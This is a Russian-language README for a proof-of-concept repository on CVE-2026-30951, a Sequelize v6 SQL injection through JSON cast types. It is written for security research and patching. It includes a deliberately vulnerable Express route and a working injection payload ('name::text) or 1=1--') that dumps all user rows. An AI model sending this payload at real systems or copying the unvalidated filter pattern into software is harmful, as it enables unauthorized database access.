
Proof-of-concept и уязвимое приложение на Node.js/Express/Sequelize, демонстрирующее CVE-2026-30951 — SQL-инъекцию через приведение типа JSON в условиях where в Sequelize v6, с шагами воспроизведения и рекомендациями по устранению.
★ CVE-2026-30951 Sequelize ORM SQL Injection PoC ★
https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381
CVE-2026-30951 — это уязвимость SQL-инъекции в Sequelize v6, широко используемой ORM для Node.js.
Уязвимость существует в обработке
where-условий JSON/JSONB. Когда Sequelize разбирает ключ JSON-пути, содержащий::, значение после::трактуется как тип SQL-приведения и вставляется в генерируемый SQL без должной валидации.Если злоумышленник может контролировать ключи JSON-объекта, передаваемые в
where-условие Sequelize, он может манипулировать генерируемым SQL-запросом.
| Категория | Версия |
|---|---|
| Уязвимые | Sequelize v6.x <= 6.37.7 |
| Исправленные | Sequelize 6.37.8 |
| Не затронуты | Sequelize v7 / @sequelize/core |
Этот репозиторий содержит минимальное уязвимое приложение-задачу на Node.js, Express, Sequelize и SQLite.
npm install
npm start
Приложение запускается на:
http://127.0.0.1:9100
docker build -t cve-2026-30951-sequelize-vuln .
docker run --rm -it -p 9100:9100 --name sequelize-vuln cve-2026-30951-sequelize-vuln
Docker-контейнер запускается на:
http://127.0.0.1:9100
После запуска уязвимого окружения выполните шаги ниже, чтобы воспроизвести инъекцию.
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name": "emma"
}
}
Это вернёт только пользователей, соответствующих обычной логике поиска по имени.
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name::text) or 1=1--": "emma"
}
}
Ожидаемый результат:
All user rows are returned.
Специально сформированный ключ JSON заставляет Sequelize сгенерировать выражение приведения, подобное:
CAST(json_extract(`User`.`metadata`, '$.name') AS TEXT) OR 1=1--)
Поскольку тип приведения контролируется злоумышленником, условие OR 1=1 изменяет предполагаемое поведение WHERE-условия. Возврат всех строк из того же поискового эндпоинта подтверждает возможность SQL-инъекции.
Уязвимость вызвана недостаточной валидацией типов JSON-приведения в Sequelize v6.
Внутри логика обхода JSON в Sequelize разбивает ключи JSON-пути по :::
jsonKey::castType
Затем тип приведения используется в генерируемом SQL следующим образом:
CAST(<json_extract_expression> AS <cast_type>)
В уязвимых версиях <cast_type> не экранируется безопасно и не ограничивается известным безопасным списком разрешённых значений. Это позволяет контролируемому злоумышленником ключу JSON выйти за пределы выражения приведения и внедрить SQL.
Любой шаблон приложения, подобный следующему, может быть уязвим при использовании затронутых версий Sequelize:
app.post('/api/users/search', async (req, res) => {
const users = await User.findAll({
where: {
metadata: req.body.filter
}
});
res.json(users);
});
Это опасно, потому что злоумышленник контролирует не только значения JSON, но и ключи JSON-объекта.
Эта уязвимость особенно опасна, потому что многие разработчики предполагают, что построители запросов ORM автоматически защищают от SQL-инъекций. В данном случае инъекция происходит внутри SQL, генерируемого ORM, после того как приложение уже передало структурированные JavaScript-объекты в Sequelize.
В зависимости от логики приложения эксплуатация может позволить:
По своей сути это проблема CWE-89: Improper Neutralization of Special Elements used in an SQL Command.
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Sends crafted JSON filter
| with malicious name:: key
v
+-------------------------------------------+
| POST /api/users/search |
+-------------------------------------------+
|
| Sequelize JSON where clause
| processes key containing ::
v
+-------------------------------------------+
| Unescaped SQL cast type injection |
+-------------------------------------------+
|
| Boolean condition manipulation
v
+-------------------------------------------+
| SQL Injection Confirmed |
+-------------------------------------------+
where-условия JSON/JSONB Sequelize::, если они явно не требуютсяconst allowedFilters = ['name', 'role', 'team', 'office', 'department'];
if (!allowedFilters.includes(req.body.field)) {
throw new Error('Invalid filter field');
}
Этот репозиторий предназначен только для исследований в области безопасности, защитной валидации и образовательного использования в контролируемых средах.
Не используйте этот PoC против систем, которыми вы не владеете и на тестирование которых у вас нет явного разрешения.
Мы публикуем анализ CVE и вредоносного ПО раз в месяц. Если вам интересно, перейдите по ссылкам ниже, чтобы ознакомиться с нашими публикациями.